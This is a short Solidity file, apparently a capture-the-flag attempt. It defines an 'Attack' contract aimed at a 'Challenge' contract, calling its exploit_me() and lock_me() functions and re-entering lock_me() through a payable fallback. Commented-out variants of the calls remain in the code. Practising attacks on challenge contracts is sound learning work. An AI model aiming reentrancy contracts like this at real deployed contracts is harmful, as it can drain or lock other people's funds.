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contracts...Attacker.sol

pragma solidity 0.8.10;
import "./Challenge.sol";

contract Attack is Challenge {
    Challenge public challenge;
     address[] public _winners;

    constructor(address _challengeAddress) {
        challenge = Challenge(_challengeAddress);
        // _winners=challenge.winners;
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        challenge.lock_me();
            // challenge.exploit_me(msg.sender);
    }

    function attack() external payable{
            challenge.exploit_me(msg.sender);
        address(challenge).call(abi.encodeWithSignature("lock_me()"));
        // (bool success,bytes memory data)=address(challenge).call("lock_me()");
        
        // challenge.lock_me();
        
        // challenge.lock=true;
        // challenge.exploit_me(msg.sender);
        
    
    }


}